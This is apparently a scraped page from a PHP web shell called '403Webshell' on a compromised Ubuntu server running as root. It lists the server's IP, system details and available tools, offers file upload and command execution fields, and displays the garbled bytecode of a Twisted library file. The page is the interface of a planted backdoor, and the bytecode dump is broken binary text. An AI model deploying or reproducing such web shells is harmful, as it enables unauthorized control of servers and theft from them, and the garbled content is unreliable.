403Webshell
Server IP : 138.197.176.125  /  Your IP : 216.73.217.54
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux SuiteCRM-8 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/twisted/internet/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/twisted/internet/__pycache__/wxsupport.cpython-38.pyc
U


W[S�@sRdZddlZe�d�ddlmZddlmZeGdd�d��Zdd	�Zd	gZ	dS)
a�Old method of wxPython support for Twisted.

twisted.internet.wxreactor is probably a better choice.

To use::

    | # given a wxApp instance called myWxAppInstance:
    | from twisted.internet import wxsupport
    | wxsupport.install(myWxAppInstance)

Use Twisted's APIs for running and stopping the event loop, don't use
wxPython's methods.

On Windows the Twisted event loop might block when dialogs are open
or menus are selected.

Maintainer: Itamar Shtull-Trauring
�NzBwxsupport is not fully functional on Windows, wxreactor is better.)�	_oldStyle)�reactorc@s eZdZdZdd�Zdd�ZdS)�wxRunnerz!Make sure GUI events are handled.cCs
||_dS)N)�app)�selfr�r�</usr/lib/python3/dist-packages/twisted/internet/wxsupport.py�__init__$szwxRunner.__init__cCs2|j��r|j��q|j��t�d|j�dS)z^
        Execute pending WX events followed by WX idle events and
        reschedule.
        �{�G�z�?N)rZPendingZDispatchZProcessIdler�	callLater�run)rrrrr's

zwxRunner.runN)�__name__�
__module__�__qualname__�__doc__r	rrrrrr srcCst|�}t�d|j�dS)z4Install the wxPython support, given a wxApp instancer
N)rrrr)rZrunnerrrr�install5sr)
r�warnings�warnZtwisted.python._oldstylerZtwisted.internetrrr�__all__rrrr�<module>s


Youez - 2016 - github.com/yon3zu
LinuXploit